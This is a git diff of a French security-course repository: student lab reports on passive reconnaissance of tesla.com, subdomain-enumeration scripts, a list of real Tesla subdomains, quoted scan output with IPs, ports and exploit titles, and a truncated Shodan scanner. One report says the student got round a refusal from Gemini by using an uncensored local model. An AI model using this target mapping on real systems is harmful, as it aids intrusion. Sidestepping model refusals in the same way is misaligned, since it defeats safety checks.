"https://files.pythonhosted.org/packages/05/b1/efac073e0c297ecf2fb33c346989a529d4e19164f1759102dee5953ee17e/idna-3.14.tar.gz", hash = "sha256:466d810d7a2cc1022bea9b037c39728d51ae7dad40d480fc9b7d7ecf98ba8ee3", size = 198272, upload-time = "2026-05-10T20:32:15.935Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/6c/3c/3f62dee257eb3d6b2c1ef2a09d36d9793c7111156a73b5654d2c2305e5ce/idna-3.14-py3-none-any.whl", hash = "sha256:e677eaf072e290f7b725f9acf0b3a2bd55f9fd6f7c70abe5f0e34823d0accf69", size = 72184, upload-time = "2026-05-10T20:32:14.295Z" }, +] + +[[package]] +name = "requests" +version = "2.33.1" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "certifi" }, + { name = "charset-normalizer" }, + { name = "idna" }, + { name = "urllib3" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/5f/a4/98b9c7c6428a668bf7e42ebb7c79d576a1c3c1e3ae2d47e674b468388871/requests-2.33.1.tar.gz", hash = "sha256:18817f8c57c6263968bc123d237e3b8b08ac046f5456bd1e307ee8f4250d3517", size = 134120, upload-time = "2026-03-30T16:09:15.531Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/d7/8e/7540e8a2036f79a125c1d2ebadf69ed7901608859186c856fa0388ef4197/requests-2.33.1-py3-none-any.whl", hash = "sha256:4e6d1ef462f3626a1f0a0a9c42dd93c63bad33f9f1c1937509b8c5c8718ab56a", size = 64947, upload-time = "2026-03-30T16:09:13.83Z" }, +] + +[[package]] +name = "threading-process" +version = "0.1.0" +source = { virtual = "." } +dependencies = [ + { name = "requests" }, +] + +[package.metadata] +requires-dist = [{ name = "requests", specifier = ">=2.33.1" }] + +[[package]] +name = "urllib3" +version = "2.7.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/53/0c/06f8b233b8fd13b9e5ee11424ef85419ba0d8ba0b3138bf360be2ff56953/urllib3-2.7.0.tar.gz", hash = "sha256:231e0ec3b63ceb14667c67be60f2f2c40a518cb38b03af60abc813da26505f4c", size = 433602, upload-time = "2026-05-07T16:13:18.596Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/7f/3e/5db95bcf282c52709639744ca2a8b149baccf648e39c8cc87553df9eae0c/urllib3-2.7.0-py3-none-any.whl", hash = "sha256:9fb4c81ebbb1ce9531cce37674bbc6f1360472bc18ca9a553ede278ef7276897", size = 131087, upload-time = "2026-05-07T16:13:17.151Z" }, +] diff --git a/Semaine_09/_Support_cours/01_decorateurs_argparse.pdf b/Semaine_09/_Support_cours/01_decorateurs_argparse.pdf new file mode 100644 index 0000000..5a30a93 Binary files /dev/null and b/Semaine_09/_Support_cours/01_decorateurs_argparse.pdf differ diff --git a/Semaine_09/_Support_cours/02_threading_vs_multiprocessing.pdf b/Semaine_09/_Support_cours/02_threading_vs_multiprocessing.pdf new file mode 100644 index 0000000..2625af9 Binary files /dev/null and b/Semaine_09/_Support_cours/02_threading_vs_multiprocessing.pdf differ diff --git a/Semaine_09/_Support_cours/03_asyncio.pdf b/Semaine_09/_Support_cours/03_asyncio.pdf new file mode 100644 index 0000000..c719500 Binary files /dev/null and b/Semaine_09/_Support_cours/03_asyncio.pdf differ diff --git a/Semaine_09/_Support_cours/04_nat_routing_udp_tcp.pdf b/Semaine_09/_Support_cours/04_nat_routing_udp_tcp.pdf new file mode 100644 index 0000000..4ca1c5a Binary files /dev/null and b/Semaine_09/_Support_cours/04_nat_routing_udp_tcp.pdf differ diff --git a/Semaine_09/_Support_cours/05_socket.pdf b/Semaine_09/_Support_cours/05_socket.pdf new file mode 100644 index 0000000..275e94f Binary files /dev/null and b/Semaine_09/_Support_cours/05_socket.pdf differ diff --git a/Semaine_10/Jour_01/.python-version b/Semaine_10/Jour_01/.python-version new file mode 100644 index 0000000..e4fba21 --- /dev/null +++ b/Semaine_10/Jour_01/.python-version @@ -0,0 +1 @@ +3.12 diff --git a/Semaine_10/Jour_01/README.md b/Semaine_10/Jour_01/README.md new file mode 100644 index 0000000..e69de29 diff --git a/Semaine_10/Jour_01/TP1_BOICHE_Gauvain.md b/Semaine_10/Jour_01/TP1_BOICHE_Gauvain.md new file mode 100644 index 0000000..b12727c --- /dev/null +++ b/Semaine_10/Jour_01/TP1_BOICHE_Gauvain.md @@ -0,0 +1,240 @@ +# Travail Pratique 01 - Florian POMPIDOU + +> Vous intégrez l'équipe Red Team de Synapse Security, une société de conseil en sécurité offensive. Premier dossier du matin : votre chef de mission vous transmet un bref email. +> "Tesla vient de signer un contrat d'audit de surface. Ils exposent du SaaS B2B. On a zéro doc interne — commencez par mapper ce qui est visible de l'extérieur. Périmètre : tesla.com et ses sous-domaines. Reconnaissance passive uniquement. Réunion client dans 4h — je veux un livrable exploitable. Bon courage." +> Vous n'avez aucun template, aucune liste de tâches. C'est une vraie mission. + +## 0. Les prérequis + +- L'usage veut que j'ai quelques sécurités derrière moi. En temps normal, je me connecterais au réseau TOR quitte à sacrifier de la vitesse, sur le navigateur dédié. Pour l'exercice, je vais simplement passer sur un **VPN double-connexion Islande -> Pays-Bas -> Ordinateur**. +- En plus de cela, j'utiliserais Kali 2025.4 sur VirtualBox, l'image officielle de Kali, mais avec 8 vCPUs et 8GB RAM. Parce qu'elle était déjà installée et que ça ira plus vite. +- Un compte SHODAN (que je ne connaissais pas mais qui va sembler pratique) avec un compte enregistré par un alias SimpleLogin gratuit derrière un compte ProtonMail secondaire. + +## 1. Plan de reconnaissance documenté + +- Voir ce qu'on obtient en cherchant dans un moteur de recherche +- Voir un résultat WHOIS +- Voir un résultat SHODAN +- Voir un rapport récupéré de quelqu'un d'autre qui aurait fait un NMAP (c'est passif !) + +### Moteur de recherche + +tesla.com, c'est facile à taper. On regarde la première page et voyons ce qu'on peut relever : + +![alt text](image-1.png) + +Evidemment, on a la vitrine commerciale, Wikipédia et les réseaux sociaux. On peut tenter un "More results from this site" pour filtrer sur le domaine : + +![alt text](image-2.png) + +Bon, j'ai beaucoup du domaine principal, mais je détecte en fin de page 1 (et rien en page 2) trois sous-domaines intéressants : + +![alt text](image-3.png) + +"IR", avec en intitulé "Investor Relations". J'ouvre avec WebArchive pour voir un peu : + +![alt text](image-4.png) + +Han. Je regarde sur ma machine Kali et même chose : + +![alt text](image-5.png) + +Ca n'aime pas les VPNs ! Tant mieux, je n'ai pas envie d'investir dans cette boîte de merde et donner de la valeur à son abruti de patron. Et puis j'ai pas d'argent. + +### WHOIS + +La première solution passive pour scanner un peu ce qui se tape de l'extérieur, c'est un très simple [WHOIS](https://www.whois.com). Je pourrais le faire depuis mon terminal, mais considérons que c'est de l'actif dans le cas présent. + +[J'obtiens un rapport classique](https://www.whois.com/whois/tesla.com) : + +![alt text](image.png) + +Enregistré à San Francisco, depuis 1992, sécurité de base, etc. Ca ne m'apprend pas grand chose comme ça. + +Quelque peu déçu, je passe sur [https://mxtoolbox.com/](MXToolBox) pour avoir un WHOIS complet (incluant MX, TXT, etc) et c'est déjà plus intéressant : +- [TXT](https://mxtoolbox.com/SuperTool.aspx?action=txt%3atesla.com&run=toolpage) +- [MX](https://mxtoolbox.com/SuperTool.aspx?action=txt%3atesla.com&run=toolpage) +- [CNAME](https://mxtoolbox.com/emailhealth/tesla.com/) => J'ai un 403. Intéressant. Ils veulent vraiment bloquer ça... +- [SPF](https://mxtoolbox.com/SuperTool.aspx?action=txt%3atesla.com&run=toolpage) => Que de l'adresse fixe. On peut connaître les étendues d'IP aptes à utiliser les services Tesla, ce qui veut dire qu'en recoupant chacune et avec un test actif dans NMAP, on peut retrouver quasi TOUT l'écosystème "agreé" tesla.com. +- [DNS](https://mxtoolbox.com/SuperTool.aspx?action=txt%3atesla.com&run=toolpage) +- [DMARC](https://mxtoolbox.com/SuperTool.aspx?action=txt%3atesla.com&run=toolpage) + +Je fais deux autres services dédiés CNAME et j'ai des retours négatifs. Hm. Mais j'ai UN rapport de [WhatsMyDNS](https://www.whatsmydns.net/dns-lookup/cname-records?query=tesla.com&server=cloudflare) qui indique des autorités DNS : + +``` +id 64655, opcode QUERY, rcode NOERROR, flags QR RD RA +;QUESTION +tesla.com. IN CNAME +;ANSWER +;AUTHORITY +tesla.com. 86400 IN SOA edns69.ultradns.com. domain.teslamotors.com. 2016025264 1800 86400 86400 86400 +;ADDITIONAL +``` + +On a un autre domaine "teslamotors.com" qui pourrait faire l'affaire. On note en tout cas. + +### SHODAN + +Je ne connais pas, mais je pense que ça sera plus complet. Pour "tester" comme un béotien moyen, je tape juste "tesla.com" dans la barre de recherche. + +Et bien... je ne suis malgré tout pas déçu : + +![alt text](image-6.png) + +ALors je n'obtiens paaaas grand chose comme ça, mais j'ai déjà un rapport un peu plus détaillé sur ce qui est ouvert ou non : + +![alt text](image-7.png) + +Des ports, du service web, des emplacements... des versions TLS. Empreintes JARM et JA3S... voilà, faisons comme si je connaissais. Je regarde vite fait et j'obtiens cette définition d'un article de Fastly.com (inconnu au bataillon) dans l'article "What is TLS fingerprinting ?" : + +> JARM is used to scan and identify servers and provides more uniqueness compared to JA3S. Unlike JA3S, which utilizes passive observation, JARM involves active scanning to solicit information from servers. + +Bon, je crois comprendre à peu près. Ce ne me servira pas à grand chose présentement. + +### Conclusion + +Frustré de n'être que le passif dans cette relation, je cherche un peu par mot-clefs et j'obtiens un rapport de 2020 faisant état d'un NMAP sur tesla.com : [Recon Pipeline](https://recon-pipeline.readthedocs.io/en/latest/overview/viewing_results.html). C'est peut-être obsolète, mais sachant qu'une boîte de cette taille peut avoir des dettes techniques de 15-20 ans, je considère pour l'exercice qu'elle est encore à peu près à jour. Et c'est la poule aux oeufs d'or : + +``` +[db-2] recon-pipeline> view targets --paged +3.tesla.cn +3.tesla.com +api-internal.sn.tesla.services +api-toolbox.tesla.com +api.mp.tesla.services +api.sn.tesla.services +api.tesla.cn +api.toolbox.tb.tesla.services + +[db-2] recon-pipeline> view endpoints --paged +[200] http://westream.teslamotors.com/y +[301] https://mobileapps.teslamotors.com/aspnet_client +[403] https://209.133.79.49/analog.html +[302] https://209.133.79.49/api +[403] https://209.133.79.49/cgi-bin/ +[200] https://209.133.79.49/client + +[db-2] recon-pipeline> view nmap-scans --paged +2600:9000:21d4:7800:c:d401:5a80:93a1 - http +=========================================== + +[db-2] recon-pipeline> view ports --paged +apmv3.go.tesla.services: 80 +autodiscover.teslamotors.com: 80 +csp.teslamotors.com: 443 +image.emails.tesla.com: 443 +marketing.teslamotors.com: 443 +partnerleadsharing.tesla.com: 443 +service.tesla.cn: 80 +shop.uk.teslamotors.com: 8080 +sip.tesla.cn: 5061 + +[db-2] recon-pipeline> view searchsploit-results --paged +52.209.48.104, 34.252.120.214, 52.48.121.107, telemetry-eng.vn.tesla.services +============================================================================= + local | 40768.sh | Nginx (Debian Based Distros + Gentoo) - 'logrotate' Local Privilege + | Escalation + remote | 12804.txt| Nginx 0.6.36 - Directory Traversal + local | 14830.py | Nginx 0.6.38 - Heap Corruption + webapps | 24967.txt| Nginx 0.6.x - Arbitrary Code Execution NullByte Injection + dos | 9901.txt | Nginx 0.7.0 < 0.7.61 / 0.6.0 < 0.6.38 / 0.5.0 < 0.5.37 / 0.4.0 < + | 0.4.14 - Denial of Service (PoC) + remote | 9829.txt | Nginx 0.7.61 - WebDAV Directory Traversal + remote | 33490.txt| Nginx 0.7.64 - Terminal Escape Sequence in Logs Command Injection + remote | 13822.txt| Nginx 0.7.65/0.8.39 (dev) - Source Disclosure / Download + remote | 13818.txt| Nginx 0.8.36 - Source Disclosure / Denial of Service + remote | 38846.txt| Nginx 1.1.17 - URI Processing SecURIty Bypass + remote | 25775.rb | Nginx 1.3.9 < 1.4.0 - Chuncked Encoding Stack Buffer Overflow + | (Metasploit) + dos | 25499.py | Nginx 1.3.9 < 1.4.0 - Denial of Service (PoC) + remote | 26737.pl | Nginx 1.3.9/1.4.0 (x86) - Brute Force + remote | 32277.txt| Nginx 1.4.0 (Generic Linux x64) - Remote Overflow + webapps | 47553.md | PHP-FPM + Nginx - Remote Code Execution + +[db-2] recon-pipeline> view web-technologies --type "Programming languages" +PHP (Programming languages) +=========================== + + - www.tesla.com + - dummy.teslamotors.com + - 209.10.208.20 + - 211.147.80.206 + - trt.tesla.com + - trt.teslamotors.com + - cn-origin.teslamotors.com + - www.tesla.cn + - events.tesla.cn + - 23.67.209.106 + - service.teslamotors.com + +Python (Programming languages) +============================== + + - api-toolbox.tesla.com + - 52.26.53.228 + - 34.214.187.20 + - 35.166.29.132 + - api.toolbox.tb.tesla.services + - toolbox.teslamotors.com + - 209.133.79.93 + +Ruby (Programming languages) +============================ + + - storagesim.teslamotors.com + - 209.10.208.39 +``` + +Voilà. Je m'arrête là, dans deux minutes je déclare la guerre nucléaire à cette entreprise des enfers. + +## 2. Script Python `crtsh_recon.py` + +> Écrivez un script Python qui interroge l'API publique de crt.sh et extrait automatiquement les sous-domaines du domaine cible. +> Comportement attendu : +``` +$ python crtsh_recon.py tesla.com +[*] Interrogation de crt.sh pour tesla.com... +[+] 14 certificats trouvés +[+] Sous-domaines uniques : + api.tesla.com + staging.tesla.com + vpn.tesla.com + ... +[*] Export → tesla_subdomains.txt +``` +> Le script doit : dédupliquer les résultats, filtrer les wildcards (*.tesla.com), exporter vers un fichier texte, et gérer proprement les erreurs réseau. + +### Erreur 502 + +Site trop demandé visiblement :3 c'est pas d'bol. + +Sinon j'avais trouvé [ce script par "YashGoti"](https://github.com/YashGoti/crtsh) qui semblait parfait. J'aurais sûrement fait un truc en rapport, en modifiant pour répondre aux critères (affiche dynamique, export en fichier teste [format CSV je pense] etc.) + +Je pourrais prendre leur paquet en local, mais ça serait de l'actif. + +### Alternative 1 + +Je regarde un post Reddit demandant une alternative à CRT.sh et je tombe sur SSLBoard.com. Après tout, pourquoi pas ? + +Alors, il n'y a pas d'API on dirait, alors je prends [juste un rapport Web](https://sslboard.com/report/aa6986c4-8db7-493d-8fd7-6011d01e890f) en attendant : + +![alt text](image-8.png) +![alt text](image-9.png) + +Alors il y a une version payante, donc... hm. + +### Alternative 2 + +Dans le même post Reddit, j'apprends l'existence de "Merklemap". Je tente une recherche dessus et [j'obtiens encore un Pay2Gain](https://www.merklemap.com/search?query=*.tesla.com&page=0), mais exploitable en soit : + +![alt text](image-11.png) + +Plus de 500 certificats ? Et beh. + +### Les alternatives + +Sur le site de Let's Encrypt (je suis d'avis qu'ils s'y connaissent en certificat, mais je ne saurais l'affirmer 🥸) j'obtiens une liste de ces services ouverts : https://community.letsencrypt.org/t/certificate-transparency-search-resources/203368 + +On a deux autres services offrant une API, CertStream en Python : https://github.com/CaliDog/certstream-python + +Mais il est presque l'heure de rendre, j'abandonne l'idée d'un script manuellement rédigé pour le moment. \ No newline at end of file diff --git a/Semaine_10/Jour_01/TP1_BOICHE_Gauvain.pdf b/Semaine_10/Jour_01/TP1_BOICHE_Gauvain.pdf new file mode 100644 index 0000000..afdac4d Binary files /dev/null and b/Semaine_10/Jour_01/TP1_BOICHE_Gauvain.pdf differ diff --git a/Semaine_10/Jour_01/TP2_BOICHE_Gauvain.md b/Semaine_10/Jour_01/TP2_BOICHE_Gauvain.md new file mode 100644 index 0000000..b9e29d5 --- /dev/null +++ b/Semaine_10/Jour_01/TP2_BOICHE_Gauvain.md @@ -0,0 +1,76 @@ +# Travail Pratique 02 - Florian POMPIDOU + +> Vous avez vos sous-domaines. Maintenant votre chef de mission remonte la pression : +> "Bien. On a les sous-domaines — maintenant je veux savoir ce qui tourne derrière. Versions, ports, CVE éventuelles. Et je veux que ce soit automatisé — si demain le client change d'infra, on relance le script et on a les résultats en 30 secondes. Je ne veux plus faire ça à la main." + +## 0. Préparation + +- Définir la portée du projet +- Voir le dépôt Python officiel de Shodan +- Amorcer le projet +- Commencer le script +- Tester le script +- Hélitreuiller le lama + +## 1. Documentation + +Le site a un onglet "Developer" et de là des liens vers des API selon la stack. Je prends Python : https://github.com/achillean/shodan-python + +Faisant détox de l'IA, mais ayant pour seule doc un site tiers de 2014 (en python 2... on n'est pas dans la merde), je tente avec une IA (Gemini Pro) mais l'éthique la force à dire "non". Je pourrais lui tirer les vers du nez, truander, mais... non, je tente autre chose de tout nouveau qui vient de sortir : "faire mes propres recherches". Incroyable. + +## 2. Script Python + +Je mets en place une clef API (si j'oublie de l'enlever du document, pas d'inquiétude, je vais la réinitialiser à la fin) et je fais un banal script qui prend une IP en argument : + +![alt text](image-10.png) + +Bon, ça marche, j'ai un bloc JSON non structuré. Ca promet d'être marrant. + +Je tombe sur un script qui fait à peu près ce que je veux (https://github.com/TiiTcHY/ShoDomain-Seeker/blob/main/ShoDomain_Seeker.py) et je me dis qu'après tout, hein. Voilà quoi. Je pique juste ce qui m'intéresse. + +Sauf que c'est pour un compte payant. + +Je ré-écris tout pour taper sur la bibliothèque publique Shodan... + +Et j'ai encore du 403 : + +![alt text](image-12.png) + +### Oh et puis zut + +Je ne vois pas comment je peux faire ça en 3 heures avec une doc pétée en n'étant guère développeur de base. Mais je garde de la technicité dans mon approche. J'ai besoin d'une IA, mais sans censure. J'installe alors un modèle personnalisé de Qwen3.5 9B totalement chargé sur ma carte graphique, et j'enregistre un serveur MCP local pour l'agent IA de VSCode et je fais tourner la bourrique. + +Parce que "convertir" un script de 200 lignes sur une autre stack à une heure du rendu, très peu pour moi. + +### Mais c'est un complot en fait + +BON, maintenant j'ai un 401 parce que j'ai encore confondu PAT et clef API. Je réadapate le script pour un PAT et... + +``` +[*] Démarrage du scan global v3 pour : tesla.com +[-] Erreur API (403): {"title":"Forbidden","status":403,"detail":"This endpoint requires an organization ID for API access. Free users can only access this endpoint through the Platform UI."} +``` + +Non mais là c'est bon. + +J'abandonne l'idée d'avoir un résultat et je vais juste commenter le code censys. Définir les fonctions et le rendre maintenable. + +## 3. Test de la plateforme + +A défaut de faire des requêtes en script, je tente sur la Plateforme, que je vois un peu le résultat. + +Je réussis à faire une requête pour avoir un retour attendu en script : + +```sql +((host.dns.names: "tesla.com" and host.services.endpoints.http.uri: *) and host.ip: *) and host.services.port = "21" +``` + +Je filtre par "21", port FTP par défaut, parce que c'est notoirement un port tout pourri. Je trouve un résultat qui me permet de regarder un peu le détail : + +![alt text](image-13.png) + +Bon, il n'y a rien... mais s'il y avait eu, il aurait fallut payer : + +![alt text](image-14.png) + +Non mais à ce stade faisons du NMAP et recoupons avec Metasploit. La main manuelle de l'homme, y a que ça de vrai. \ No newline at end of file diff --git a/Semaine_10/Jour_01/TP2_BOICHE_Gauvain.pdf b/Semaine_10/Jour_01/TP2_BOICHE_Gauvain.pdf new file mode 100644 index 0000000..cd3fc8e Binary files /dev/null and b/Semaine_10/Jour_01/TP2_BOICHE_Gauvain.pdf differ diff --git a/Semaine_10/Jour_01/TP2_BOICHE_Gauvain.zip b/Semaine_10/Jour_01/TP2_BOICHE_Gauvain.zip new file mode 100644 index 0000000..a391fe7 Binary files /dev/null and b/Semaine_10/Jour_01/TP2_BOICHE_Gauvain.zip differ diff --git a/Semaine_10/Jour_01/certspotter_recon.py b/Semaine_10/Jour_01/certspotter_recon.py new file mode 100644 index 0000000..cf6981f --- /dev/null +++ b/Semaine_10/Jour_01/certspotter_recon.py @@ -0,0 +1,56 @@ +import requests +import sys + +def get_subdomains_certspotter(domain): + url = f"https://api.certspotter.com/v1/issuances?domain={domain}&include_subdomains=true&expand=dns_names" + print(f"[*] Interrogation de Cert Spotter pour {domain}...") + + try: + headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)'} + response = requests.get(url, headers=headers, timeout=15) + + if response.status_code == 429: + print("[-] Erreur 429 : Limite de requêtes atteinte. Patiente un peu avant de réessayer.") + return + + response.raise_for_status() + data = response.json() + + if not data: + print("[-] Aucun certificat trouvé pour ce domaine.") + return + + subdomains = set() + + for entry in data: + for name in entry.get('dns_names', []): + name = name.strip().lower() + + if not name.startswith('*.') and name.endswith(domain): + subdomains.add(name) + + subdomains = sorted(list(subdomains)) + + print(f"[+] {len(subdomains)} sous-domaines uniques trouvés :") + for sub in subdomains: + print(f" {sub}") + + output_file = f"{domain.replace('.', '_')}_certspotter.txt" + with open(output_file, 'w', encoding='utf-8') as f: + for sub in subdomains: + f.write(f"{sub}\n") + + print(f"[*] Export → {output_file}") + + except requests.exceptions.Timeout: + print("[-] Erreur : Délai d'attente dépassé.") + except requests.exceptions.RequestException as e: + print(f"[-] Erreur réseau :\n {e}") + +if __name__ == "__main__": + if len(sys.argv) != 2: + print(f"Usage: python {sys.argv[0]} ") + sys.exit(1) + + target_domain = sys.argv[1] + get_subdomains_certspotter(target_domain) \ No newline at end of file diff --git a/Semaine_10/Jour_01/crtsh_recon.py b/Semaine_10/Jour_01/crtsh_recon.py new file mode 100644 index 0000000..e38c4a8 --- /dev/null +++ b/Semaine_10/Jour_01/crtsh_recon.py @@ -0,0 +1,61 @@ +import requests +import sys + +def get_subdomains(domain): + url = f"https://crt.sh/?q=%.{domain}&output=json" + print(f"[*] Interrogation de crt.sh pour {domain}...") + + try: + headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64)'} + response = requests.get(url, headers=headers, timeout=20) + + response.raise_for_status() + + data = response.json() + + if not data: + print("[-] Aucun certificat trouvé pour ce domaine.") + return + + print(f"[+] {len(data)} certificats trouvés (bruts)") + + subdomains = set() + + for entry in data: + name_value = entry.get('name_value', '') + + for name in name_value.split('\n'): + name = name.strip().lower() + + if not name.startswith('*.') and name.endswith(domain): + subdomains.add(name) + + subdomains = sorted(list(subdomains)) + + print("[+] Sous-domaines uniques :") + for sub in subdomains: + print(f" {sub}") + + output_file = f"{domain.replace('.', '_')}_subdomains.txt" + with open(output_file, 'w', encoding='utf-8') as f: + for sub in subdomains: + f.write(f"{sub}\n") + + print(f"[*] Export → {output_file}") + + except requests.exceptions.HTTPError as e: + print(f"[-] Erreur HTTP de la part de crt.sh (probablement une 502 ou 503) :\n {e}") + except requests.exceptions.Timeout: + print("[-] Erreur : Délai d'attente dépassé (Timeout). crt.sh est trop lent actuellement.") + except requests.exceptions.RequestException as e: + print(f"[-] Erreur réseau critique :\n {e}") + except ValueError: + print("[-] Erreur de parsing JSON. crt.sh a probablement renvoyé une page HTML d'erreur.") + +if __name__ == "__main__": + if len(sys.argv) != 2: + print(f"Usage: python {sys.argv[0]} ") + sys.exit(1) + + target_domain = sys.argv[1] + get_subdomains(target_domain) \ No newline at end of file diff --git a/Semaine_10/Jour_01/image-1.png b/Semaine_10/Jour_01/image-1.png new file mode 100644 index 0000000..2fa1606 Binary files /dev/null and b/Semaine_10/Jour_01/image-1.png differ diff --git a/Semaine_10/Jour_01/image-10.png b/Semaine_10/Jour_01/image-10.png new file mode 100644 index 0000000..25a4757 Binary files /dev/null and b/Semaine_10/Jour_01/image-10.png differ diff --git a/Semaine_10/Jour_01/image-11.png b/Semaine_10/Jour_01/image-11.png new file mode 100644 index 0000000..c8e6bd7 Binary files /dev/null and b/Semaine_10/Jour_01/image-11.png differ diff --git a/Semaine_10/Jour_01/image-12.png b/Semaine_10/Jour_01/image-12.png new file mode 100644 index 0000000..0e819af Binary files /dev/null and b/Semaine_10/Jour_01/image-12.png differ diff --git a/Semaine_10/Jour_01/image-13.png b/Semaine_10/Jour_01/image-13.png new file mode 100644 index 0000000..e7a18f2 Binary files /dev/null and b/Semaine_10/Jour_01/image-13.png differ diff --git a/Semaine_10/Jour_01/image-14.png b/Semaine_10/Jour_01/image-14.png new file mode 100644 index 0000000..d6fe989 Binary files /dev/null and b/Semaine_10/Jour_01/image-14.png differ diff --git a/Semaine_10/Jour_01/image-2.png b/Semaine_10/Jour_01/image-2.png new file mode 100644 index 0000000..e43cea3 Binary files /dev/null and b/Semaine_10/Jour_01/image-2.png differ diff --git a/Semaine_10/Jour_01/image-3.png b/Semaine_10/Jour_01/image-3.png new file mode 100644 index 0000000..81d953d Binary files /dev/null and b/Semaine_10/Jour_01/image-3.png differ diff --git a/Semaine_10/Jour_01/image-4.png b/Semaine_10/Jour_01/image-4.png new file mode 100644 index 0000000..f3f14ea Binary files /dev/null and b/Semaine_10/Jour_01/image-4.png differ diff --git a/Semaine_10/Jour_01/image-5.png b/Semaine_10/Jour_01/image-5.png new file mode 100644 index 0000000..089dce9 Binary files /dev/null and b/Semaine_10/Jour_01/image-5.png differ diff --git a/Semaine_10/Jour_01/image-6.png b/Semaine_10/Jour_01/image-6.png new file mode 100644 index 0000000..84b5f73 Binary files /dev/null and b/Semaine_10/Jour_01/image-6.png differ diff --git a/Semaine_10/Jour_01/image-7.png b/Semaine_10/Jour_01/image-7.png new file mode 100644 index 0000000..139310e Binary files /dev/null and b/Semaine_10/Jour_01/image-7.png differ diff --git a/Semaine_10/Jour_01/image-8.png b/Semaine_10/Jour_01/image-8.png new file mode 100644 index 0000000..e6ad677 Binary files /dev/null and b/Semaine_10/Jour_01/image-8.png differ diff --git a/Semaine_10/Jour_01/image-9.png b/Semaine_10/Jour_01/image-9.png new file mode 100644 index 0000000..c1659dd Binary files /dev/null and b/Semaine_10/Jour_01/image-9.png differ diff --git a/Semaine_10/Jour_01/image.png b/Semaine_10/Jour_01/image.png new file mode 100644 index 0000000..329cd07 Binary files /dev/null and b/Semaine_10/Jour_01/image.png differ diff --git a/Semaine_10/Jour_01/pyproject.toml b/Semaine_10/Jour_01/pyproject.toml new file mode 100644 index 0000000..0d1656a --- /dev/null +++ b/Semaine_10/Jour_01/pyproject.toml @@ -0,0 +1,10 @@ +[project] +name = "jour-01" +version = "0.1.0" +description = "Add your description here" +readme = "README.md" +requires-python = ">=3.12" +dependencies = [ + "censys>=2.2.19", + "shodan>=1.31.0", +] diff --git a/Semaine_10/Jour_01/tesla_com_certspotter.txt b/Semaine_10/Jour_01/tesla_com_certspotter.txt new file mode 100644 index 0000000..3eee998 --- /dev/null +++ b/Semaine_10/Jour_01/tesla_com_certspotter.txt @@ -0,0 +1,89 @@ +apf-api.eng.vn.cloud.tesla.com +apf-api.prd.vn.cloud.tesla.com +assets.extgithub.tesla.com +auth-stage.tesla.com +auth.eng.euw1.vn.cloud.tesla.com +auth.eng.usw.vn.cloud.tesla.com +autobidder-preprd.powerhub.energy.tesla.com +autobidder.powerhub.energy.tesla.com +avatars.extgithub.tesla.com +ca.tesla.com +chat-staging.bottlerocket.tesla.com +cn.tesla.com +codeload.extgithub.tesla.com +consul.bottlerocket.tesla.com +containers.extgithub.tesla.com +de.tesla.com +dhc.tesla.com +digitalassets-shop.tesla.com +digitalassets.tesla.com +diner-api-stage.tesla.com +diner-api.tesla.com +diner-webapp-stage.tesla.com +diner-webapp.tesla.com +discovery-service.bottlerocket.tesla.com +discovery.bottlerocket.tesla.com +docker.extgithub.tesla.com +docs.bottlerocket.tesla.com +embed-staging.bottlerocket.tesla.com +employeefeedback.tesla.com +energy-technician.bottlerocket.tesla.com +energy.bottlerocket.tesla.com +engage.tesla.com +engagetesla.com +extgithub.tesla.com +feedback.tesla.com +fleet-api.eng.na.vn.cloud.tesla.com +fleet-api.prd.eu.vn.cloud.tesla.com +fleet-api.prd.na.vn.cloud.tesla.com +fleetview.america.fn.tesla.com +fleetview.europe.fn.tesla.com +fleetview.fn.tesla.com +fleetview.prd.america.fn.tesla.com +fleetview.prd.eu.fn.tesla.com +fleetview.prd.europe.fn.tesla.com +fleetview.prd.euw1.fn.tesla.com +fleetview.prd.na.fn.tesla.com +fleetview.prd.usw2.fn.tesla.com +genai.tesla.com +gf.tesla.com +gist.extgithub.tesla.com +gridlogic.energy.tesla.com +gridlogic.powerhub.energy.tesla.com +inference-eu-staging.bottlerocket.tesla.com +inference-eu.bottlerocket.tesla.com +inference-staging.bottlerocket.tesla.com +inference.bottlerocket.tesla.com +ir.bottlerocket.tesla.com +maven.extgithub.tesla.com +media.extgithub.tesla.com +mfg.tesla.com +mobile-links.eng.vn.cloud.tesla.com +notebooks.extgithub.tesla.com +npm.extgithub.tesla.com +nuget.extgithub.tesla.com +nv.tesla.com +ny.tesla.com +pages.extgithub.tesla.com +paloalto.tesla.com +powerhub.energy.tesla.com +raw.extgithub.tesla.com +reply.extgithub.tesla.com +rubygems.extgithub.tesla.com +sentry.app.tesla.com +signaling-alpha.prd.vn.cloud.tesla.com +signaling-robotics.eng.vn.cloud.tesla.com +staging.bottlerocket.tesla.com +sts-broker.bottlerocket.tesla.com +taffy.bottlerocket.tesla.com +tesla.com +teslacmgna01.tesla.com +tf-poc.tesla.com +tokens-staging.bottlerocket.tesla.com +tripx-alpha.prd.vn.cloud.tesla.com +tripx.eng.usw2.vn.cloud.tesla.com +tripx.prd.vn.cloud.tesla.com +tx.tesla.com +uploads.extgithub.tesla.com +veritas-staging.bottlerocket.tesla.com +viewscreen.extgithub.tesla.com diff --git a/Semaine_10/Jour_01/tesla_recon.py b/Semaine_10/Jour_01/tesla_recon.py new file mode 100644 index 0000000..1c1dc04 --- /dev/null +++ b/Semaine_10/Jour_01/tesla_recon.py @@ -0,0 +1,360 @@ +""" +tesla_security_scan.py - Enhanced Security Scanner for Tesla Subdomains using Shodan API + +Features: +- Read subdomains from .txt file or command line +- Query Shodan API for each host with detailed info (ports, services, versions) +- Detect CVEs using OS and service banner intelligence +- Generate structured JSON report with vulnerability analysis +- Provide executive summary review +""" + +import sys +import json +import argparse +import shodan +import re +from datetime import datetime +from collections import defaultdict + + +def load_subdomains_from_file(file_path): + """Load subdomains from a .txt file.""" + with open(file_path, 'r', encoding='utf-8') as f: + domains = [line.strip() for line in f if line.strip()] + return domains + +def search_host_shodan(ip_address, api_key): + """Get detailed host information from Shodan API.""" + try: + api = shodan.Shodan(api_key) + + results = api.host(ip_address) + + return { + 'ip': ip_address, + 'ports': [], + 'services': {}, + 